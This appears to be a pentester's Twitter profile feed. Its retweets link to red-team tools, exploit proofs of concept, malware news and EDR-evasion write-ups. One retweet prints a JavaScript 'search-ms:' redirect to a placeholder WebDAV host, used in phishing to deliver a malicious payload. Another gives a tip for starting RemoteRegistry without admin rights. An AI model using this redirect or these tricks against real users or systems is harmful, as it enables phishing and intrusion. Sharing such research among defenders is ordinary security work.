Ex android developer, pentester, red teaming enthusiast
Joined March 2021
- Tweets513
- Following129
- Followers452
- Likes196
Ex Android Dev retweeted
🚨 If you haven’t tested your Microsoft 365 environment like an APT, the time is now! Introducing msInvader, an adversary simulation tool designed to emulate attack techniques within M365 and Azure environments.
🔑 Key Features:
•Versatile Authentication Simulation: 🔄 Supports multiple OAuth flows to mimic various attack scenarios, including compromised user credentials and service principals.
•Comprehensive Exchange Online Interaction: 📧 Engages with Exchange Online through Graph API, Exchange Web Services (EWS), and the REST API used by the Exchange Online PowerShell module.
•Diverse Technique Simulation: 🎯 Capable of simulating techniques such as reading emails, searching mailboxes, creating rules, and more, providing a thorough assessment of your security posture.
Enhance your detection capabilities by simulating real-world attacks with msInvader. 🛡️
Check it out here:
github.com/mvelazc0/msInvade…
Ex Android Dev retweeted
At #Pwn2Own Ireland, our team successfully exploited vulnerabilities in the Lorex 2K Indoor WiFi Camera. Check out our blog for the full technical breakdown: blog.infosectcbr.com.au/2024…
Ex Android Dev retweeted
Today James Forshaw (@tiraniddo) did a quick assessment on the new Windows 11 Sudo.exe.
Despite his quick assessment, the blog post is wonderful. It is an excellent read. We recommend it:)
tl;dr fancier ShellExecute 😭
tiraniddo.dev/2024/02/sudo-o…
Ex Android Dev retweeted
Do you want to start the RemoteRegistry service without Admin privileges?
Just write into the "winreg" named pipe 👇
Ex Android Dev retweeted
🚨 Beware, Mac users! MetaStealer, a new info-stealer #malware, is targeting #macOS. Learn how it's posing as prospective clients to trick victims into launching malicious payloads.
Learn more: thehackernews.com/2023/09/be…
#cybersecurity #hacking
Ex Android Dev retweeted
Zero-click iOS exploits (@citizenlab), in-the-wild Chrome 0day, physical/mobile RE writeup (@elttam), Linux LPE (@SidewayRE), and more! blog.badsectorlabs.com/last-…
Ex Android Dev retweeted
In our latest post, @breakfix details how we were able to publish a malicious VSCode extension to the marketplace and leverage it for initial access during a red team mdsec.co.uk/2023/08/leveragi… vimeo.com/853281700?share=co…
Ex Android Dev retweeted
Here is my #exploit and blog post for the VMWare Aria Operations for Networks which has CVSS 9.8 and targets all the versions from 6.0 to 6.10 (CVE-2023-34039) Apparently VMware forgot to regenerate their SSH keys 🔐
summoning.team/blog/vmware-v…
Ex Android Dev retweeted
Forget vulnerable drivers - Admin is all you need
Article 👉 elastic.co/security-labs/for…
👇 Demo - enable sound 🔊
Ex Android Dev retweeted
Here is PoC for LPE in Windows Error Reporting Service CVE-2023-36874
github.com/Wh04m1001/CVE-202…
Ex Android Dev retweeted
If you need to get information on a GitHub account,
You can try GitSint, which allows you to retrieve information on #github through username, email, and organization.
github.com/N0rz3/GitSint
@norze15
#OSINT #cli #tool #intelligence #infosec #CTI #ThreatIntel #cybersecurity
Ex Android Dev retweeted
Big news! Someone finally noticed that if you hold down CTRL, the process list in Task Manager conveniently freezes so you can select rows without them jumping around.
I did this so you could sort by CPU and other dynamic columns but then still be able to click stuff...
Ex Android Dev retweeted
Really cool lists for hash cracking I just stumbled upon:
github.com/kaonashi-password…
Ex Android Dev retweeted
Asking Android Developers About Security
youtube.com/watch?v=-X03UKo_…
Ex Android Dev retweeted
Phishing emails making use of the "search-ms" URI protocol handler to download malicious payload.
trellix.com/en-us/about/news…
ClickOnce APT Group also use these technology.
<script>
window.location.href = 'search-ms:query=Review&crumb=location: \\\\domain@SSL\
\DavwwwRoot&displayname=Search;
</script>
Ex Android Dev retweeted
Good new everyone! MinecraftLauncher.exe is susceptible to DLL sideloading. And YES, it is digitally signed by Mojang. EDRs have no idea what's coming for them😌
Ex Android Dev retweeted
🚨 Alert! A new #malware strain called AVrecon has quietly targeted over 70,000 small office/home office (SOHO) routers worldwide, forming a massive botnet of 40,000 nodes across 20 countries.
Read: thehackernews.com/2023/07/ne…
#cybersecurity #infosec #informationsecurity
Ex Android Dev retweeted
🚀Evil QR - Phishing With QR Codes 🪝🐟
Just released some fun research on how to perform phishing with QR codes.
Enjoy the blog post and a demo video!
I've also published Evil QR toolkit on GH, which you can use to see how the attack works in practice
breakdev.org/evilqr-phishing…
Ex Android Dev retweeted
Just published a new blog post covering how to hide Beacon during BOF execution. If your BOF triggers a memory scan then EDR is likely to find Beacon and kill your process, but we can mask it using a simple technique. securityintelligence.com/pos…
Ex Android Dev retweeted
Today I'm releasing AtlasReaper, a .NET tool designed for red teamers to interact with Confluence and Jira via C2 agents.
Discover secrets and launch targeted attacks.
Check out the blogpost for more details:
medium.com/@werdhaihai/7a90b…
Github Repo:
github.com/werdhaihai/AtlasR…
